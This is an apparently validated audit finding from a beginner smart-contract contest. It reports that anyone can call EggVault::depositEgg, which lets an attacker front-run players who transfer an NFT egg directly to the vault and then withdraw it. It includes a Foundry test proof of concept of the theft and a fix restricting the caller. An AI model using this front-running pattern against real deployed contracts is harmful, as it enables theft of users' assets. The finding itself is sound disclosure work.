Eggstravaganza
First Flight #37
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Eggs can be stolen by frontrunning `EggVault::depositEgg`

37h3rn17y2

Summary

Players transferring eggs to EggVault directly and calling EggVault::depositEgg to register themselves as the depositor without going through EggHuntGame::depositEggToVault are susceptible to frontrunning attack.

Vulnerability Details

There are 2 ways a player can deposit their eggs into the EggVault.

Method 1

  1. Player calls EggstravaganzaNFT::approve, approving EggHuntGame to transfer their eggs

  2. Player calls EggHuntGame::depositEggToVault to transfer their eggs to the EggVault and register themselves as the depositor

Method 2

  1. Player calls EggstravaganzaNFT::transferFrom to transfer their eggs directly to EggVault

  2. Player calls EggVault::depositEgg to register themselves as the depositor

Players unaware of the EggHuntGame::depositEggToVault function will use method 2 to deposit their eggs into the EggVault. Additionally, since EggVault::depositEgg is written to be called by anyone, this also misleads players to use method 2 to deposit their eggs into the EggVault. However, method 2 is vulnerable to frontrunning attack as shown below.

Attack Path

  1. Player calls EggstravaganzaNFT::transferFrom to transfer their eggs directly to EggVault

  2. Attacker calls EggVault::depositEgg to register themselves as the depositor

  3. Player's call to EggVault::depositEgg to register themselves as the depositor will revert

  4. Attacker calls EggVault::withdrawEgg to steal egg out of the EggVault

Impact

Impact: High, attacker can steal player's eggs from the vault
Likelihood: Medium, players must deposit eggs directly to Vault by calling EggVault::depositEgg instead of using EggHuntGame::depositEggToVault
Severity: High

PoC

Place the following code into EggHuntGameTest.t.sol and run using:

forge test --mt testFrontRunDepositEgg

function testFrontRunDepositEgg() public {
// Start game
uint256 duration = 100;
vm.prank(owner);
game.startGame(duration);
​
// Alice finds an egg
// simulated here by EggHuntGame awarding alice an egg
uint256 winningEggTokenId = 1;
vm.prank(address(game));
nft.mintEgg(alice, winningEggTokenId);
​
// 1. Alice deposits egg into EggVault directly
vm.prank(alice);
nft.transferFrom(alice, address(vault), winningEggTokenId);
​
// 2. Attacker frontrun alice to call EggVault::depositEgg
// causing EggVault to register attacker as the egg depositor
address attacker = makeAddr("attacker");
vm.prank(attacker);
vault.depositEgg(winningEggTokenId, attacker);
​
// 3. Alice fails to call EggVault::depositEgg
vm.prank(alice);
vm.expectRevert("Egg already deposited");
vault.depositEgg(winningEggTokenId, alice);
​
// 4. Attacker withdraws the stolen egg
vm.prank(attacker);
vault.withdrawEgg(winningEggTokenId);
​
assert(nft.ownerOf(winningEggTokenId) == attacker);
}

Tools Used

Manual Review

Recommendations

Limit EggVault::depositEgg to be only callable by EggHuntGame. This will encourage players to deposit eggs using method 1.
Importantly, this will prevent players from depositing eggs using method 2 and prevents an attacker from stealing the eggs.

+ address public game;
.
.
.
- constructor()Ownable(msg.sender){}
+ constructor(address _game)Ownable(msg.sender){
+ game = _game;
+ }
.
.
.
function depositEgg(uint256 tokenId, address depositor) public {
+ require(msg.sender == game);
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}
Updates

Lead Judging Commences

m3dython Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Frontrunning Vulnerability DepositEgg

Front-running depositEgg allows deposit ownership hijacking.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.